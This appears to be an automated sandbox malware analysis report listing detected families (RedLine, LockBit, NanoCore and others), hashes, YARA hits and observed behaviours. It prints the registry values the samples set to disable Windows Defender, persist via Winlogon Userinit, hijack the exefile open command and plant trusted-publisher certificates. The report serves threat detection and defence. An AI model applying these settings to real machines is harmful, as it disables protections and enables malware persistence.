ades_stealer | fd3cae068143ba3da7b7f107fee522e8a0d11ded2981b90178e76f3a88d8bfca

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Roaming\\Discord\\Files\\remoteadmin\\remoteadmin.exe"	cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	RegAsm.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	RegAsm.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	RegAsm.exe

Modiloader family
modiloader
NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Nanocore family
nanocore
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
Neshta family
neshta
OnlyLogger
A tiny loader that uses IPLogger to get its payload.
loader onlylogger
Onlylogger family
onlylogger

Process spawned unexpected child process 20 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	12912	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	12260	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	11496	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6448	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8444	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	10412	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	13940	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	12492	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3304	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7052	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	10552	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5260	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4148	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	10668	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7136	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	11836	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2692	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	10792	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	11956	4420	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	11708	4420	schtasks.exe	104

RA World
RA World ransomware, also known as RA Group, is a crypto-ransomware variant that has evolved from the earlier Babuk ransomware. It emerged in April 2023.
ransomware raworld
Raworld family
raworld
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/files/0x00050000000067ad-4.dat	family_redline
behavioral2/memory/1480-91-0x0000000000700000-0x000000000071E000-memory.dmp	family_redline

Redline family
redline
RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys
Rokrat
Rokrat is a remote access trojan written in c++.
rat rokrat
Rokrat family
rokrat

Rule to detect Lockbit 3.0 ransomware Windows payload 2 IoCs

resource	yara_rule
behavioral2/files/0x00070000000284b2-326.dat	family_lockbit
behavioral2/files/0x000700000002849e-194.dat	family_lockbit

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral2/files/0x00050000000067ad-4.dat	family_sectoprat
behavioral2/memory/1480-91-0x0000000000700000-0x000000000071E000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat
Umbral
Umbral stealer is an open-source modular stealer written in C#.
stealer umbral
Umbral family
umbral
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
ValleyRat
ValleyRat stage2 is a backdoor written in C++.
backdoor valleyrat_s2
Valleyrat_s2 family
valleyrat_s2
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar
Vipkeylogger family
vipkeylogger
WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat
Warzonerat family
warzonerat
Xorist Ransomware
Xorist is a ransomware first seen in 2020.
ransomware xorist
Xorist family
xorist
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

DCRat payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3524-105-0x000000001ACE0000-0x000000001ADB8000-memory.dmp	family_dcrat_v2

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

ModiLoader Second Stage 2 IoCs

resource	yara_rule
behavioral2/memory/4072-191-0x0000000000400000-0x0000000000545000-memory.dmp	modiloader_stage2
behavioral2/memory/4072-5035-0x0000000000400000-0x0000000000545000-memory.dmp	modiloader_stage2

OnlyLogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/1216-5041-0x0000000000400000-0x0000000002C76000-memory.dmp	family_onlylogger

Renames multiple (1262) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (1300) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (148) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (728) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
118	1084	powershell.exe
153	10456	powershell.exe

Binary is signed using a ConnectWise certificate revoked for key compromise. 1 IoCs

revoked_codesign

resource	yara_rule
behavioral2/files/0x000b000000028969-8366.dat	revoked_cert_connectwise

Command and Scripting Interpreter: PowerShell 1 TTPs 28 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4792	powershell.exe
3032	powershell.exe
10132	powershell.exe
7244	powershell.exe
10456	powershell.exe
1084	powershell.exe
8840	powershell.exe
7996	powershell.exe
8336	powershell.exe
13316	powershell.exe
8728	powershell.exe
6240	powershell.exe
7268	powershell.exe
12692	powershell.exe
11940	powershell.exe
12356	powershell.exe
7264	powershell.exe
8704	powershell.exe
11404	powershell.exe
13888	powershell.exe
12492	powershell.exe
4672	powershell.exe
12212	powershell.exe
11208	powershell.exe
6704	powershell.exe
2224	powershell.exe
14220	powershell.exe
9100	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
3032	powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Manipulates Digital Signatures 1 TTPs 2 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000700000002849b-168.dat	aspack_v212_v242

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe

Checks computer location settings 2 TTPs 11 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	hi.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Control Panel\International\Geo\Nation	mshta.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

Disable or Modify Tools

pid	Process
3032	powershell.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TypeId.vbs	aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.lnk	ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.lnk	ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe

Executes dropped EXE 64 IoCs

pid	Process
1480	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
4468	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
2320	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
4864	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
3700	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
3524	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
3148	6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
4760	7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
2788	9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
2200	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
4072	60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe
188	65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe
2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
3628	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
1356	182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe
1748	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
1216	0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
3944	539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe
2568	577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe
612	755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe
1400	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
3648	876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe
5240	954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe
6024	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
5508	4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe
1308	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
9552	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
10692	145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe
11304	Chrome_boostrap.exe
11424	a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe
11604	a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe
11924	aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe
12028	ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe
7528	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
5288	aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe
12184	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
9764	b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe
11316	b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe
11500	c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe
3252	c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
5092	RuntimeBroker.exe
13776	c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe
7292	cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe
5576	d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
3144	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
13104	e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe
9972	9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
11688	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
5252	e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe
6944	eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe
7288	d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
11080	d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
7540	f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe
11284	f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe
13836	f497e0f58f93c129f70a89f01aa20b3a5372e4e9f83580ad9a1d8e613ab389a9.exe
9320	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
10440	images.exe
10236	ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe
13936	dd71256ff21fa4337f050ad39ef5e00650c9dc13c9b8a7eb4fe7e8d64150ce45.exe
6192	7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
12476	images.exe
10084	6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
6000	images.exe

Loads dropped DLL 62 IoCs

pid	Process
3304	schtasks.exe
9756	Process not Found
6832	Process not Found
11708	schtasks.exe
13060	Process not Found
10880	Process not Found
6680	Process not Found
11600	Process not Found
7052	schtasks.exe
9744	Process not Found
11412	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
6156	remoteadmin.exe
13424	test.exe
13688	Process not Found
13500	Process not Found
8120	Process not Found
10552	schtasks.exe
7796	SppExtComObj.exe
11320	Process not Found
5260	schtasks.exe
4148	Process not Found
10864	Process not Found
11220	remoteadmin.exe
11956	schtasks.exe
10508	Process not Found
4628	Process not Found
10560	Process not Found
7484	Process not Found
556	Process not Found
2864	Process not Found
3472	Process not Found
516	Process not Found
12964	Process not Found
6276	Process not Found
1544	Process not Found
8076	Process not Found
7308	Process not Found
10548	Process not Found
5168	Process not Found
8696	Process not Found
7512	Process not Found
2596	Process not Found
12356	powershell.exe
8336	powershell.exe
13888	powershell.exe
8840	powershell.exe
12692	powershell.exe
6240	powershell.exe
14220	powershell.exe
7996	powershell.exe
12492	powershell.exe
8704	powershell.exe
8728	powershell.exe
6704	powershell.exe
7268	powershell.exe
13316	powershell.exe
11404	powershell.exe
11940	powershell.exe
2224	powershell.exe
10316	Process not Found
6840	Process not Found
6964	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	InstallUtil.exe

